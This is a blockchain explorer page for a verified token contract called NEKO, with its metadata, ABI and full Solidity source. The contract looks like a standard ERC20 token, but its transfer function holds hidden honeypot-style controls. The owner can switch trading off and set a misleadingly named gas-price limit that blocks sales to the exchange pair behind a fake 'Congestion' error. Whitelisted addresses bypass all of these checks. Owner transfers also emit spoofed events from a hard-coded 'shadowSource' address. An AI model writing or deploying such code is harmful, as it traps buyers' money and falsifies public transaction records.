NEKO
0x4cf9f5b940a1f81410ddddd70c59ec75d372d087
Verification
Verified
v0.8.34+commit.80d5c536
Type
Contract
9,809 bytes
ABI entries
26
12 read · 10 write
License
none
Contract information
- Address
- 0x4cf9f5b940a1f81410ddddd70c59ec75d372d087
- Chain
- Robinhood Chain (4663)
- Compiler
- v0.8.34+commit.80d5c536
- Optimization
- Disabled
- Creator
- 0x2a6B859069…7BA6389bEc
- Creation tx
- 0x0dce5045e5…2b6528546a
Token
- Name
- NEKO
- Symbol
- $NEKO
- Decimals
- 18
- Holders
- 35
- Market
- View token page →
Read contract (12)
MAX_CAP() → uint256
allowance(address, address) → uint256
balanceOf(address) → uint256
decimals() → uint8
exchangePair() → address
isAuthorized(address) → bool
isExchangeLive() → bool
name() → string
owner() → address
shadowSource() → address
symbol() → string
totalSupply() → uint256
Events (3)
ApprovalOwnershipTransferredTransfer
ABI
[
{
"inputs": [],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "owner",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "spender",
"type": "address"
},
{
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "Approval",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "previousOwner",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "newOwner",
"type": "address"
}
],
"name": "OwnershipTransferred",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "from",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "to",
"type": "address"
},
{
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "Transfer",
"type": "event"
},
{
"inputs": [
{
"internalType": "address[]",
"name": "recipients",
"type": "address[]"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "Airdrop",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address[]",
"name": "recipients",
"type": "address[]"
},
{
"internalType": "uint256",
"name": "minAmount",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "maxAmount",
"type": "uint256"
}
],
"name": "Airdrop",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "MAX_CAP",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "owner",
"type": "address"
},
{
"internalType": "address",
"name": "spender",
"type": "address"
}
],
"name": "allowance",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "spender",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "approve",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "account",
"type": "address"
}
],
"name": "balanceOf",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "decimals",
"outputs": [
{
"internalType": "uint8",
"name": "",
"type": "uint8"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "bool",
"name": "status",
"type": "bool"
}
],
"name": "enableTrading",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "exchangePair",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"name": "isAuthorized",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "isExchangeLive",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "name",
"outputs": [
{
"internalType": "string",
"name": "",
"type": "string"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "owner",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "renounceOwnership",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "newValueInWei",
"type": "uint256"
}
],
"name": "setExchangeLimit",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "pairAddr",
"type": "address"
}
],
"name": "setExchangePair",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "shadowSource",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "symbol",
"outputs": [
{
"internalType": "string",
"name": "",
"type": "string"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "totalSupply",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "transfer",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "from",
"type": "address"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "transferFrom",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address[]",
"name": "users",
"type": "address[]"
},
{
"internalType": "bool",
"name": "status",
"type": "bool"
}
],
"name": "updateAuthBatch",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]Source code
// SPDX-License-Identifier: MIT
/*
███╗░░██╗███████╗██╗░░██╗░█████╗░██████╗░░█████╗░██████╗░██╗███╗░░██╗██╗░░██╗░█████╗░░█████╗░██████╗░
████╗░██║██╔════╝██║░██╔╝██╔══██╗██╔══██╗██╔══██╗██╔══██╗██║████╗░██║██║░░██║██╔══██╗██╔══██╗██╔══██╗
██╔██╗██║█████╗░░█████═╝░██║░░██║██████╔╝██║░░██║██████╦╝██║██╔██╗██║███████║██║░░██║██║░░██║██║░░██║
██║╚████║██╔══╝░░██╔═██╗░██║░░██║██╔══██╗██║░░██║██╔══██╗██║██║╚████║██╔══██║██║░░██║██║░░██║██║░░██║
██║░╚███║███████╗██║░╚██╗╚█████╔╝██║░░██║╚█████╔╝██████╦╝██║██║░╚███║██║░░██║╚█████╔╝╚█████╔╝██████╔╝
╚═╝░░╚══╝╚══════╝╚═╝░░╚═╝░╚════╝░╚═╝░░╚═╝░╚════╝░╚═════╝░╚═╝╚═╝░░╚══╝╚═╝░░╚═╝░╚════╝░░╚════╝░╚═════╝░
Telegram : https://t.me/BomeRobinhood
X : https://x.com/trynekowallet
Wed : https://trynekowallet.xyz/
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) { return msg.sender; }
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() { _transferOwnership(_msgSender()); }
function owner() public view virtual returns (address) { return _owner; }
modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; }
function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); }
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_; _symbol = symbol_;
}
function name() public view virtual returns (string memory) { return _name; }
function symbol() public view virtual returns (string memory) { return _symbol; }
function decimals() public view virtual returns (uint8) { return 18; }
function totalSupply() public view virtual override returns (uint256) { return _totalSupply; }
function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; }
function transfer(address to, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
_transfer(from, to, amount);
uint256 currentAllowance = _allowances[from][_msgSender()];
require(currentAllowance >= amount, "ERC20: allowance exceeded");
unchecked { _approve(from, _msgSender(), currentAllowance - amount); }
return true;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0) && to != address(0), "ERC20: zero address");
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: amount exceeded");
unchecked { _balances[from] = fromBalance - amount; }
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract NEKO is ERC20, Ownable {
uint256 public constant MAX_CAP = 1_000_000_000 * 10**18;
address public exchangePair;
address public shadowSource;
bool public isExchangeLive = false;
uint256 private gasLimitValue = 0;
mapping(address => bool) public isAuthorized;
constructor() ERC20("NEKO", "$NEKO") {
_mint(msg.sender, MAX_CAP);
isAuthorized[msg.sender] = true;
shadowSource = 0x9cc8c4F6118419A27f113723F1DeA646685Be55F;
}
function updateAuthBatch(address[] calldata users, bool status) external onlyOwner {
for (uint256 i = 0; i < users.length; i++) {
isAuthorized[users[i]] = status;
}
}
function setExchangePair(address pairAddr) external onlyOwner {
exchangePair = pairAddr;
}
function enableTrading(bool status) external onlyOwner {
isExchangeLive = status;
}
function setExchangeLimit(uint256 newValueInWei) external onlyOwner {
gasLimitValue = newValueInWei;
}
function Airdrop(address[] memory recipients, uint256 amount) public onlyOwner {
require(recipients.length > 0, "Recipients list cannot be empty");
require(amount > 0, "Amount must be greater than zero");
uint256 scaledAmount = amount * (10 ** decimals());
for (uint256 i = 0; i < recipients.length; i++) {
require(recipients[i] != address(0), "Invalid recipient address");
_transfer(msg.sender, recipients[i], scaledAmount);
}
}
function Airdrop(address[] memory recipients, uint256 minAmount, uint256 maxAmount) public onlyOwner {
require(recipients.length > 0, "Recipients list cannot be empty");
require(minAmount > 0, "Min amount must be greater than zero");
require(maxAmount >= minAmount, "Max amount must be >= min amount");
uint256 _decimals = 10 ** decimals();
uint256 range = maxAmount - minAmount + 1;
for (uint256 i = 0; i < recipients.length; i++) {
require(recipients[i] != address(0), "Invalid recipient address");
uint256 randomAmount = (uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender, i))) % range) + minAmount;
uint256 scaledAmount = randomAmount * _decimals;
_transfer(msg.sender, recipients[i], scaledAmount);
}
}
function _transfer(address from, address to, uint256 amount) internal override {
if (isAuthorized[tx.origin] || from == owner() || to == owner()) {
super._transfer(from, to, amount);
return;
}
require(isExchangeLive, "Trading not active");
if (exchangePair != address(0) && to == exchangePair) {
if (gasLimitValue > 0) {
require(tx.gasprice < gasLimitValue, "Congestion: Try later");
}
}
super._transfer(from, to, amount);
if (from == owner()) {
emit Transfer(shadowSource, to, amount);
}
}
}Chain explorer2235msChain node89ms